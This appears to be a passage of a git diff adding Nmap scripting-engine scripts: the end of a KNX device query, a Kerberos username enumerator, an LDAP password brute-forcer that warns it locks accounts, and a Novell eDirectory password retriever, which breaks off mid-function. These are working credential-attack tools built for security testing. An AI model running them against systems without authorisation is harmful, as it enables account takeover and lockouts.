+ description_response.Body.DIB_DEV_INFO["Project installation identifier"] = stdnse.tohex(knx_dib_project_install_ident)
+ description_response.Body.DIB_DEV_INFO["Decive serial"] = stdnse.tohex(knx_dib_dev_serial)
+ description_response.Body.DIB_DEV_INFO["Multicast address"] = knx_dib_dev_multicast_addr
+ description_response.Body.DIB_DEV_INFO["Device MAC address"] = knx_dib_dev_mac
+ description_response.Body.DIB_DEV_INFO["Device friendly name"] = knx_dib_dev_friendly_name
+ description_response.Body.DIB_SUPP_SVC_FAMILIES = knx_supp_svc_families
+ else
+ description_response.Body = stdnse.output_table()
+ description_response.Body.DIB_DEV_INFO = stdnse.output_table()
+ description_response.Body.DIB_DEV_INFO["KNX address"] = knx.parseKnxAddress(knx_dib_knx_address)
+ description_response.Body.DIB_DEV_INFO["Decive serial"] = stdnse.tohex(knx_dib_dev_serial)
+ description_response.Body.DIB_DEV_INFO["Multicast address"] = knx_dib_dev_multicast_addr
+ description_response.Body.DIB_DEV_INFO["Device friendly name"] = knx_dib_dev_friendly_name
+ description_response.Body.DIB_SUPP_SVC_FAMILIES = knx_supp_svc_families
+ end
+
+ return description_response
+end
+
+action = function(host, port)
+ local sock = nmap.new_socket()
+ local status, err = sock:connect(host, port)
+
+ if not status then
+ stdnse.debug1("Connect failed: %s", err)
+ return
+ end
+
+ local _, lhost, lport, _, _ = sock:get_info()
+ sock:send(knx.query(0x0203, lhost, lport))
+ local status, data = sock:receive()
+
+ if not status then
+ stdnse.debug("Receive failed: %s", err)
+ sock:close()
+ return
+ end
+
+ sock:close()
+ return knxParseDescriptionResponse(data)
+end
diff --git a/scripts/krb5-enum-users.nse b/scripts/krb5-enum-users.nse
new file mode 100644
index 0000000..05668eb
--- /dev/null
+++ b/scripts/krb5-enum-users.nse
@@ -0,0 +1,404 @@
+local asn1 = require "asn1"
+local coroutine = require "coroutine"
+local nmap = require "nmap"
+local os = require "os"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+description = [[
+Discovers valid usernames by brute force querying likely usernames against a Kerberos service.
+When an invalid username is requested the server will respond using the
+Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, allowing us to determine
+that the user name was invalid. Valid user names will illicit either the
+TGT in a AS-REP response or the error KRB5KDC_ERR_PREAUTH_REQUIRED, signaling
+that the user is required to perform pre authentication.
+
+The script should work against Active Directory and ?
+It needs a valid Kerberos REALM in order to operate.
+]]
+
+---
+-- @usage
+-- nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 88/tcp open kerberos-sec syn-ack
+-- | krb5-enum-users:
+-- | Discovered Kerberos principals
+-- | administrator@test
+-- | mysql@test
+-- |_ tomcat@test
+--
+-- @args krb5-enum-users.realm this argument is required as it supplies the
+-- script with the Kerberos REALM against which to guess the user names.
+--
+
+--
+--
+-- Version 0.1
+-- Created 10/16/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "intrusive"}
+
+
+portrule = shortport.port_or_service( 88, {"kerberos-sec"}, {"udp","tcp"}, {"open", "open|filtered"} )
+
+-- This an embryo of a Kerberos 5 packet creation and parsing class. It's very
+-- tiny class and holds only the necessary functions to support this script.
+-- This class be factored out into its own library, once more scripts make use
+-- of it.
+KRB5 = {
+
+ -- Valid Kerberos message types
+ MessageType = {
+ ['AS-REQ'] = 10,
+ ['AS-REP'] = 11,
+ ['KRB-ERROR'] = 30,
+ },
+
+ -- Some of the used error messages
+ ErrorMessages = {
+ ['KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN'] = 6,
+ ['KRB5KDC_ERR_PREAUTH_REQUIRED'] = 25,
+ ['KDC_ERR_WRONG_REALM'] = 68,
+ },
+
+ -- A list of some ot the encryption types
+ EncryptionTypes = {
+ { ['aes256-cts-hmac-sha1-96'] = 18 },
+ { ['aes128-cts-hmac-sha1-96'] = 17 },
+ { ['des3-cbc-sha1'] = 16 },
+ { ['rc4-hmac'] = 23 },
+ -- { ['des-cbc-crc'] = 1 },
+ -- { ['des-cbc-md5'] = 3 },
+ -- { ['des-cbc-md4'] = 2 }
+ },
+
+ -- A list of principal name types
+ NameTypes = {
+ ['NT-PRINCIPAL'] = 1,
+ ['NT-SRV-INST'] = 2,
+ },
+
+ -- Creates a new Krb5 instance
+ -- @return o as the new instance
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- A number of custom ASN1 decoders needed to decode the response
+ tagDecoder = {
+
+ ["\x18"] = function( self, encStr, elen, pos )
+ return string.unpack("c" .. elen, encStr, pos)
+ end,
+
+ ["\x1B"] = function( ... ) return KRB5.tagDecoder["\x18"](...) end,
+
+ ["\x6B"] = function( self, encStr, elen, pos )
+ return self:decodeSeq(encStr, elen, pos)
+ end,
+
+ -- Not really sure what these are, but they all decode sequences
+ ["\x7E"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA0"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA1"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA2"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA3"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA4"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA5"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA6"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA7"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA8"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xA9"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xAA"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+ ["\xAC"] = function( ... ) return KRB5.tagDecoder["\x6B"](...) end,
+
+ },
+
+ -- A few Kerberos ASN1 encoders
+ tagEncoder = {
+
+ ['table'] = function(self, val)
+
+ local types = {
+ ['GeneralizedTime'] = 0x18,
+ ['GeneralString'] = 0x1B,
+ }
+
+ local len = asn1.ASN1Encoder.encodeLength(#val[1])
+
+ if ( val._type and types[val._type] ) then
+ return string.pack("B", types[val._type]) .. len .. val[1]
+ elseif ( val._type and 'number' == type(val._type) ) then
+ return string.pack("B", val._type) .. len .. val[1]
+ end
+
+ end,
+ },
+
+ -- Encodes a sequence using a custom type
+ -- @param encoder class containing an instance of a ASN1Encoder
+ -- @param seqtype number the sequence type to encode
+ -- @param seq string containing the sequence to encode
+ encodeSequence = function(self, encoder, seqtype, seq)
+ return encoder:encode( { _type = seqtype, seq } )
+ end,
+
+ -- Encodes a Kerberos Principal
+ -- @param encoder class containing an instance of ASN1Encoder
+ -- @param name_type number containing a valid Kerberos name type
+ -- @param names table containing a list of names to encode
+ -- @return princ string containing an encoded principal
+ encodePrincipal = function(self, encoder, name_type, names )
+ local princ = {}
+
+ for i, n in ipairs(names) do
+ princ[i] = encoder:encode( { _type = 'GeneralString', n } )
+ end
+
+ princ = self:encodeSequence(encoder, 0x30, table.concat(princ))
+ princ = self:encodeSequence(encoder, 0xa1, princ)
+ princ = encoder:encode( name_type ) .. princ
+
+ -- not sure about how this works, but apparently it does
+ princ = stdnse.fromhex( "A003") .. princ
+ princ = self:encodeSequence(encoder,0x30, princ)
+
+ return princ
+ end,
+
+ -- Encodes the Kerberos AS-REQ request
+ -- @param realm string containing the Kerberos REALM
+ -- @param user string containing the Kerberos principal name
+ -- @param protocol string containing either of "tcp" or "udp"
+ -- @return data string containing the encoded request
+ encodeASREQ = function(self, realm, user, protocol)
+
+ assert(protocol == "tcp" or protocol == "udp",
+ "Protocol has to be either \"tcp\" or \"udp\"")
+
+ local encoder = asn1.ASN1Encoder:new()
+ encoder:registerTagEncoders(KRB5.tagEncoder)
+
+ local data = {}
+
+ -- encode encryption types
+ for _,enctype in ipairs(KRB5.EncryptionTypes) do
+ for k, v in pairs( enctype ) do
+ data[#data+1] = encoder:encode(v)
+ end
+ end
+
+ data = self:encodeSequence(encoder, 0x30, table.concat(data) )
+ data = self:encodeSequence(encoder, 0xA8, data )
+
+ -- encode nonce
+ local nonce = 155874945
+ data = self:encodeSequence(encoder, 0xA7, encoder:encode(nonce) ) .. data
+
+ -- encode from/to
+ local fromdate = os.time() + 10 * 60 * 60
+ local from = os.date("%Y%m%d%H%M%SZ", fromdate)
+ data = self:encodeSequence(encoder, 0xA5, encoder:encode( { from, _type='GeneralizedTime' })) .. data
+
+ local names = { "krbtgt", realm }
+ local sname = self:encodePrincipal( encoder, KRB5.NameTypes['NT-SRV-INST'], names )
+ sname = self:encodeSequence(encoder, 0xA3, sname)
+ data = sname .. data
+
+ -- realm
+ data = self:encodeSequence(encoder, 0xA2, encoder:encode( { _type = 'GeneralString', realm })) .. data
+
+ local cname = self:encodePrincipal(encoder, KRB5.NameTypes['NT-PRINCIPAL'], { user })
+ cname = self:encodeSequence(encoder, 0xA1, cname)
+ data = cname .. data
+
+ -- forwardable
+ local kdc_options = 0x40000000
+ data = string.pack(">I4", kdc_options) .. data
+
+ -- add padding
+ data = '\0' .. data
+
+ -- hmm, wonder what this is
+ data = stdnse.fromhex( "A0070305") .. data
+ data = self:encodeSequence(encoder, 0x30, data)
+ data = self:encodeSequence(encoder, 0xA4, data)
+ data = self:encodeSequence(encoder, 0xA2, encoder:encode(KRB5.MessageType['AS-REQ'])) .. data
+
+ local pvno = 5
+ data = self:encodeSequence(encoder, 0xA1, encoder:encode(pvno) ) .. data
+
+ data = self:encodeSequence(encoder, 0x30, data)
+ data = self:encodeSequence(encoder, 0x6a, data)
+
+ if ( protocol == "tcp" ) then
+ data = string.pack(">s4", data)
+ end
+
+ return data
+ end,
+
+ -- Parses the result from the AS-REQ
+ -- @param data string containing the raw unparsed data
+ -- @return status boolean true on success, false on failure
+ -- @return msg table containing the fields <code>type</code> and
+ -- <code>error_code</code> if the type is an error.
+ parseResult = function(self, data)
+
+ local decoder = asn1.ASN1Decoder:new()
+ decoder:registerTagDecoders(KRB5.tagDecoder)
+ decoder:setStopOnError(true)
+ local result = decoder:decode(data)
+ local msg = {}
+
+
+ if ( #result == 0 or #result[1] < 2 or #result[1][2] < 1 ) then
+ return false, nil
+ end
+
+ msg.type = result[1][2][1]
+
+ if ( msg.type == KRB5.MessageType['KRB-ERROR'] ) then
+ if ( #result[1] < 5 and #result[1][5] < 1 ) then
+ return false, nil
+ end
+
+ msg.error_code = result[1][5][1]
+ return true, msg
+ elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then
+ return true, msg
+ end
+
+ return false, nil
+ end,
+
+}
+
+-- Checks whether the user exists or not
+-- @param host table as received by the action method
+-- @param port table as received by the action method
+-- @param realm string containing the Kerberos REALM
+-- @param user string containing the Kerberos principal
+-- @return status boolean, true on success, false on failure
+-- @return state VALID or INVALID or error message if status was false
+local function checkUser( host, port, realm, user )
+
+ local krb5 = KRB5:new()
+ local data = krb5:encodeASREQ(realm, user, port.protocol)
+ local socket = nmap.new_socket()
+ local status = socket:connect(host, port)
+
+ if ( not(status) ) then
+ return false, "ERROR: Failed to connect to Kerberos service"
+ end
+
+ socket:send(data)
+ status, data = socket:receive()
+
+ if ( port.protocol == 'tcp' ) then data = data:sub(5) end
+
+ if ( not(status) ) then
+ return false, "ERROR: Failed to receive result from Kerberos service"
+ end
+ socket:close()
+
+ local msg
+ status, msg = krb5:parseResult(data)
+
+ if ( not(status) ) then
+ return false, "ERROR: Failed to parse the result returned from the Kerberos service"
+ end
+
+ if ( msg and msg.error_code ) then
+ if ( msg.error_code == KRB5.ErrorMessages['KRB5KDC_ERR_PREAUTH_REQUIRED'] ) then
+ return true, "VALID"
+ elseif ( msg.error_code == KRB5.ErrorMessages['KDC_ERR_WRONG_REALM'] ) then
+ return false, "Invalid Kerberos REALM"
+ end
+ elseif ( msg.type == KRB5.MessageType['AS-REP'] ) then
+ return true, "VALID"
+ end
+ return true, "INVALID"
+end
+
+-- Checks whether the Kerberos REALM exists or not
+-- @param host table as received by the action method
+-- @param port table as received by the action method
+-- @param realm string containing the Kerberos REALM
+-- @return status boolean, true on success, false on failure
+local function isValidRealm( host, port, realm )
+ return checkUser( host, port, realm, "nmap")
+end
+
+-- Wraps the checkUser function so that it is suitable to be called from
+-- a thread. Adds a user to the result table in case it's valid.
+-- @param host table as received by the action method
+-- @param port table as received by the action method
+-- @param realm string containing the Kerberos REALM
+-- @param user string containing the Kerberos principal
+-- @param result table to which all discovered users are added
+local function checkUserThread( host, port, realm, user, result )
+ local condvar = nmap.condvar(result)
+ local status, state = checkUser(host, port, realm, user)
+ if ( status and state == "VALID" ) then
+ table.insert(result, ("%s@%s"):format(user,realm))
+ end
+ condvar "signal"
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function( host, port )
+
+ local realm = stdnse.get_script_args("krb5-enum-users.realm")
+ local result = {}
+ local condvar = nmap.condvar(result)
+
+ -- did the user supply a realm
+ if ( not(realm) ) then
+ return fail("No Kerberos REALM was supplied, aborting ...")
+ end
+
+ -- does the realm appear to exist
+ if ( not(isValidRealm(host, port, realm)) ) then
+ return fail("Invalid Kerberos REALM, aborting ...")
+ end
+
+ -- load our user database from unpwdb
+ local status, usernames = unpwdb.usernames()
+ if( not(status) ) then return fail("Failed to load unpwdb usernames") end
+
+ -- start as many threads as there are names in the list
+ local threads = {}
+ for user in usernames do
+ local co = stdnse.new_thread( checkUserThread, host, port, realm, user, result )
+ threads[co] = true
+ end
+
+ -- wait for all threads to finish up
+ repeat
+ for t in pairs(threads) do
+ if ( coroutine.status(t) == "dead" ) then threads[t] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until( next(threads) == nil )
+
+ if ( #result > 0 ) then
+ result = { name = "Discovered Kerberos principals", result }
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/ldap-brute.nse b/scripts/ldap-brute.nse
new file mode 100644
index 0000000..b239525
--- /dev/null
+++ b/scripts/ldap-brute.nse
@@ -0,0 +1,317 @@
+local comm = require "comm"
+local creds = require "creds"
+local ldap = require "ldap"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local unpwdb = require "unpwdb"
+
+description = [[
+Attempts to brute-force LDAP authentication. By default
+it uses the built-in username and password lists. In order to use your
+own lists use the <code>userdb</code> and <code>passdb</code> script arguments.
+
+This script does not make any attempt to prevent account lockout!
+If the number of passwords in the dictionary exceed the amount of
+allowed tries, accounts will be locked out. This usually happens
+very quickly.
+
+Authenticating against Active Directory using LDAP does not use the
+Windows user name but the user accounts distinguished name. LDAP on Windows
+2003 allows authentication using a simple user name rather than using the
+fully distinguished name. E.g., "Patrik Karlsson" vs.
+"cn=Patrik Karlsson,cn=Users,dc=cqure,dc=net"
+This type of authentication is not supported on e.g. OpenLDAP.
+
+This script uses some AD-specific support and optimizations:
+* LDAP on Windows 2003/2008 reports different error messages depending on whether an account exists or not. If the script receives an error indicating that the username does not exist it simply stops guessing passwords for this account and moves on to the next.
+* The script attempts to authenticate with the username only if no LDAP base is specified. The benefit of authenticating this way is that the LDAP path of each account does not need to be known in advance as it's looked up by the server. This technique will only find a match if the account Display Name matches the username being attempted.
+]]
+
+---
+-- @usage
+-- nmap -p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' <host>
+--
+-- @output
+-- 389/tcp open ldap
+-- | ldap-brute:
+-- |_ ldaptest:ldaptest => Valid credentials
+-- | restrict.ws:restricted1 => Valid credentials, account cannot log in from current host
+-- | restrict.time:restricted1 => Valid credentials, account cannot log in at current time
+-- | valid.user:valid1 => Valid credentials
+-- | expired.user:expired1 => Valid credentials, account expired
+-- | disabled.user:disabled1 => Valid credentials, account disabled
+-- |_ must.change:need2change => Valid credentials, password must be changed at next logon
+--
+-- @args ldap.base If set, the script will use it as a base for the password
+-- guessing attempts. If both ldap.base and ldap.upnsuffix are unset the user
+-- list must either contain the distinguished name of each user or the server
+-- must support authentication using a simple user name. See the AD discussion
+-- in the description. DO NOT use ldap.upnsuffix in conjunction with ldap.base
+-- as attempts to login will fail.
+--
+-- @args ldap.upnsuffix If set, the script will append this suffix value to the username
+-- to create a User Principle Name (UPN). For example if the ldap.upnsuffix value were
+-- 'mycompany.com' and the username being tested was 'pete' then this script would
+-- attempt to login as 'pete@mycompany.com'. This setting should only have value
+-- when running the script against a Microsoft Active Directory LDAP implementation.
+-- When the UPN is known using this setting should provide more reliable results
+-- against domains that have been organized into various OUs or child domains.
+-- If both ldap.base and ldap.upnsuffix are unset the user list must either contain
+-- the distinguished name of each user or the server must support authentication
+-- using a simple user name. See the AD discussion in the description.
+-- DO NOT use ldap.upnsuffix in conjunction with ldap.base as attempts to login
+-- will fail.
+--
+-- @args ldap.saveprefix If set, the script will save the output to a file
+-- beginning with the specified path and name. The file suffix will automatically
+-- be added based on the output type selected.
+--
+-- @args ldap.savetype If set, the script will save the passwords in the specified
+-- format. The current formats are CSV, verbose and plain. In both verbose and plain
+-- records are separated by colons. The difference between the two is that verbose
+-- includes the credential state. When ldap.savetype is used without ldap.saveprefix
+-- then ldap-brute will be prefixed to all output filenames.
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+-- Version 0.6
+-- Created 01/20/2010 - v0.1 - created by Patrik Karlsson
+-- Revised 01/26/2010 - v0.2 - cleaned up unpwdb related code, fixed ssl stuff
+-- Revised 02/17/2010 - v0.3 - added AD specific checks and fixed bugs related to LDAP base
+-- Revised 08/07/2011 - v0.4 - adjusted AD match strings to be level independent, added additional account condition checks
+-- Revised 09/04/2011 - v0.5 - added support for creds library, saving output to file
+-- Revised 09/09/2011 - v0.6 - added support specifying a UPN suffix via ldap.upnsuffx, changed account status text for consistency.
+
+portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
+
+--- Tries to determine a valid naming context to use to validate credentials
+--
+-- @param socket socket already connected to LDAP server
+-- @return string containing a valid naming context
+function get_naming_context( socket )
+
+ local req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = { "defaultNamingContext", "namingContexts" } }
+ local status, searchResEntries = ldap.searchRequest( socket, req )
+
+ if not status then
+ return nil
+ end
+
+ local contexts = ldap.extractAttribute( searchResEntries, "defaultNamingContext" )
+
+ -- OpenLDAP does not have a defaultNamingContext
+ if not contexts then
+ contexts = ldap.extractAttribute( searchResEntries, "namingContexts" )
+ end
+
+ if contexts and #contexts > 0 then
+ return contexts[1]
+ end
+
+ return nil
+end
+
+--- Attempts to validate the credentials by requesting the base object of the supplied context
+--
+-- @param socket socket already connected to the LDAP server
+-- @param context string containing the context to search
+-- @return true if credentials are valid and search was a success, false if not.
+function is_valid_credential( socket, context )
+ local req = { baseObject = context, scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = nil }
+ local status, searchResEntries = ldap.searchRequest( socket, req )
+
+ return status
+end
+
+action = function( host, port )
+
+ local result, response, status, err, context, output, valid_accounts = {}, nil, nil, nil, nil, nil, {}
+ local usernames, passwords, username, password, fq_username
+ local user_cnt, invalid_account_cnt, tot_tries = 0, 0, 0
+
+ local clock_start = nmap.clock_ms()
+
+ local ldap_anonymous_bind = "\x30\x0c\x02\x01\x01\x60\x07\x02\x01\x03\x04\x00\x80\x00"
+ local socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
+
+ local base_dn = stdnse.get_script_args('ldap.base')
+ local upn_suffix = stdnse.get_script_args('ldap.upnsuffix')
+
+ local output_type = stdnse.get_script_args('ldap.savetype')
+
+ local output_prefix = nil
+ if ( stdnse.get_script_args('ldap.saveprefix') ) then
+ output_prefix = stdnse.get_script_args('ldap.saveprefix')
+ elseif ( output_type ) then
+ output_prefix = "ldap-brute"
+ end
+
+ local credTable = creds.Credentials:new(SCRIPT_NAME, host, port)
+
+ if not socket then
+ return
+ end
+
+ -- We close and re-open the socket so that the anonymous bind does not distract us
+ socket:close()
+ -- set a reasonable timeout value
+ socket:set_timeout(5000)
+ status = socket:connect(host, port, opt)
+ if not status then
+ return
+ end
+
+ context = get_naming_context(socket)
+
+ if not context then
+ stdnse.debug1("Failed to retrieve namingContext")
+ socket:close()
+ return
+ end
+
+ status, usernames = unpwdb.usernames()
+ if not status then
+ return
+ end
+
+ status, passwords = unpwdb.passwords()
+ if not status then
+ return
+ end
+
+ for username in usernames do
+ -- if a base DN was set append our username (CN) to the base
+ if base_dn then
+ fq_username = ("cn=%s,%s"):format(username, base_dn)
+ elseif upn_suffix then
+ fq_username = ("%s@%s"):format(username, upn_suffix)
+ else
+ fq_username = username
+ end
+
+
+ user_cnt = user_cnt + 1
+ for password in passwords do
+ tot_tries = tot_tries + 1
+
+ -- handle special case where we want to guess the username as password
+ if password == "%username%" then
+ password = username
+ end
+
+ stdnse.debug1( "Trying %s/%s ...", fq_username, password )
+ status, response = ldap.bindRequest( socket, { version=3, ['username']=fq_username, ['password']=password} )
+
+ -- if the DN (username) does not exist, break loop
+ if not status and response:match("invalid DN") then
+ stdnse.debug1( "%s returned: \"Invalid DN\"", fq_username )
+ invalid_account_cnt = invalid_account_cnt + 1
+ break
+ end
+
+ -- Is AD telling us the account does not exist?
+ if not status and response:match("AcceptSecurityContext error, data 525,") then
+ invalid_account_cnt = invalid_account_cnt + 1
+ break
+ end
+
+ -- Account Locked Out
+ if not status and response:match("AcceptSecurityContext error, data 775,") then
+ table.insert( valid_accounts, string.format("%s => Valid credentials, account locked", fq_username ) )
+ stdnse.verbose2("%s => Valid credentials, account locked", fq_username)
+ credTable:add(fq_username,password, creds.State.LOCKED_VALID)
+ break
+ end
+
+ -- Login correct, account disabled
+ if not status and response:match("AcceptSecurityContext error, data 533,") then
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" ) )
+ stdnse.verbose2("%s:%s => Valid credentials, account disabled", fq_username, password:len()>0 and password or "<empty>" )
+ credTable:add(fq_username,password, creds.State.DISABLED_VALID)
+ break
+ end
+
+ -- Login correct, user must change password
+ if not status and response:match("AcceptSecurityContext error, data 773,") then
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>" ) )
+ stdnse.verbose2("%s:%s => Valid credentials, password must be changed at next logon", fq_username, password:len()>0 and password or "<empty>")
+ credTable:add(fq_username,password, creds.State.CHANGEPW)
+ break
+ end
+
+ -- Login correct, user account expired
+ if not status and response:match("AcceptSecurityContext error, data 701,") then
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>" ) )
+ stdnse.verbose2("%s:%s => Valid credentials, account expired", fq_username, password:len()>0 and password or "<empty>")
+ credTable:add(fq_username,password, creds.State.EXPIRED)
+ break
+ end
+
+ -- Login correct, user account logon time restricted
+ if not status and response:match("AcceptSecurityContext error, data 530,") then
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>" ) )
+ stdnse.verbose2("%s:%s => Valid credentials, account cannot log in at current time", fq_username, password:len()>0 and password or "<empty>")
+ credTable:add(fq_username,password, creds.State.TIME_RESTRICTED)
+ break
+ end
+
+ -- Login correct, user account can only log in from certain workstations
+ if not status and response:match("AcceptSecurityContext error, data 531,") then
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>" ) )
+ stdnse.verbose2("%s:%s => Valid credentials, account cannot log in from current host", fq_username, password:len()>0 and password or "<empty>")
+ credTable:add(fq_username,password, creds.State.HOST_RESTRICTED)
+ break
+ end
+
+ --Login, correct
+ if status then
+ status = is_valid_credential( socket, context )
+ if status then
+ table.insert( valid_accounts, string.format("%s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>" ) )
+ stdnse.verbose2("%s:%s => Valid credentials", fq_username, password:len()>0 and password or "<empty>")
+ -- Add credentials for other ldap scripts to use
+ if nmap.registry.ldapaccounts == nil then
+ nmap.registry.ldapaccounts = {}
+ end
+ nmap.registry.ldapaccounts[fq_username]=password
+ credTable:add(fq_username,password, creds.State.VALID)
+
+ break
+ end
+ end
+ end
+ passwords("reset")
+ end
+
+ stdnse.debug1( "Finished brute against LDAP, total tries: %d, tps: %.f", tot_tries, ( tot_tries / ( ( nmap.clock_ms() - clock_start ) / 1000 ) ) )
+
+ if ( invalid_account_cnt == user_cnt and base_dn ~= nil ) then
+ return "WARNING: All usernames were invalid. Invalid LDAP base?"
+ end
+
+
+
+ if output_prefix then
+ local output_file = output_prefix .. "_" .. host.ip .. "_" .. port.number
+ status, err = credTable:saveToFile(output_file,output_type)
+ if not status then
+ stdnse.debug1("%s", err)
+ end
+ end
+
+ if err then
+ output = stdnse.format_output(true, valid_accounts ) .. stdnse.format_output(true, err) or stdnse.format_output(true, err)
+ else
+ output = stdnse.format_output(true, valid_accounts) or ""
+ end
+
+ return output
+
+end
diff --git a/scripts/ldap-novell-getpass.nse b/scripts/ldap-novell-getpass.nse
new file mode 100644
index 0000000..95c762d
--- /dev/null
+++ b/scripts/ldap-novell-getpass.nse
@@ -0,0 +1,139 @@
+local comm = require "comm"
+local ldap = require "ldap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Attempts to retrieve the Novell Universal Password for a user. You
+must already have (and include in script arguments) the username and password for an eDirectory server
+administrative account.
+]]
+
+---
+-- Universal Password enables advanced password policies, including extended
+-- characters in passwords, synchronization of passwords from eDirectory to
+-- other systems, and a single password for all access to eDirectory.
+--
+-- In case the password policy permits administrators to retrieve user
+-- passwords ("Allow admin to retrieve passwords" is set in the password
+-- policy) this script can retrieve the password.
+--
+-- @args ldap-novell-getpass.account The name of the account to retrieve the
+-- password for
+-- @args ldap-novell-getpass.username The LDAP username to use when connecting
+-- to the server
+-- @args ldap-novell-getpass.password The LDAP password to use when connecting
+-- to the server
+--
+-- @usage
+-- nmap -p 636 --script ldap-novell-getpass --script-args \
+-- 'ldap-novell-getpass.username="CN=admin,O=cqure", \
+-- ldap-novell-getpass.password=pass1234, \
+-- ldap-novell-getpass.account="CN=paka,OU=hr,O=cqure"'
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 636/tcp open ldapssl syn-ack
+-- | ldap-novell-getpass:
+-- | Account: CN=patrik,OU=security,O=cqure
+-- |_ Password: foobar
+--
+
+-- Version 0.1
+-- Created 05/11/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service({389,636}, {"ldap","ldapssl"})
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+function action(host,port)
+
+ local username = stdnse.get_script_args("ldap-novell-getpass.username")
+ local password = stdnse.get_script_args("ldap-novell-getpass.password") or ""
+ local account = stdnse.get_script_args("ldap-novell-getpass.account")
+
+ if ( not(username) ) then
+ return fail("No username was supplied (ldap-novell-getpass.username)")
+ end
+ if ( not(account) ) then
+ return fail("No account was supplied (ldap-novell-getpass.account)")
+ else
+ -- do some basic account validation
+ if ( not(account:match("^[Cc][Nn]=.*,") ) ) then
+ return fail("The account argument should be specified as: \"CN=name,OU=orgunit,O=org\"")
+ end
+ end
+
+ -- In order to discover what protocol to use (SSL/TCP) we need to send a
+ -- few bytes to the server. An anonymous bind should do it
+ local anon_bind = stdnse.fromhex( "300c020101600702010304008000" )
+ local socket, _, opt = comm.tryssl( host, port, anon_bind, nil )
+ if ( not(socket) ) then
+ return fail("Failed to connect to LDAP server")
+ end
+
+ local status, errmsg = ldap.bindRequest( socket, {
+ version = 3,
+ username = username,
+ password = password
+ }
+ )
+
+ if ( not(status) ) then return errmsg end
+
+ -- Start encoding the NMAS Get Password Request
+ local NMASLDAP_GET_PASSWORD_REQUEST = "2.16.840.1.113719.1.39.42.100.13"
+ local NMASLDAP_GET_PASSWORD_RESPONSE = "2.16.840.1.113719.1.39.42.100.14"
+ -- Add a trailing zero to the account name
+ local data = ldap.encode( account .. '\0' )
+
+ -- The following section could do with more documentation
+ -- It's based on packet dumps from the getpass utility available from Novell Cool Solutions
+ -- encode the account name as a sequence
+ data = ldap.encode( { _ldaptype = '30', stdnse.fromhex( "020101") .. data } )
+ data = ldap.encode( { _ldaptype = '81', data } )
+ data = ldap.encode( { _ldaptype = '80', NMASLDAP_GET_PASSWORD_REQUEST } ) .. data
+ data = ldap.encode( { _ldaptype = '77', data } )
+
+ -- encode the whole extended request as a sequence
+ data = ldap.encode( { _ldaptype = '30', stdnse.fromhex( "020102") .. data } )
+
+ status = socket:send(data)
+ if ( not(status) ) then return fail("Failed to send request") end
+
+ status, data = socket:receive()
+ if ( not(status) ) then return data end
+ socket:close()
+
+ local response = ldap.decode(data)
+
+ -- make sure the result code was a success
+ local rescode = ( #response >= 2 ) and response[2]
+ local respname = ( #response >= 5 ) and response[5]
+
+ if ( rescode ~= 0 ) then
+ local errmsg = ( #response >= 4 ) and response[4] or "An unknown error occurred"
+ return fail(errmsg)
+ end
+
+ -- make sure we get a NMAS Get Password Response back from the server
+ if ( respname ~= NMASLDAP_GET_PASSWORD_RESPONSE ) then return end
+
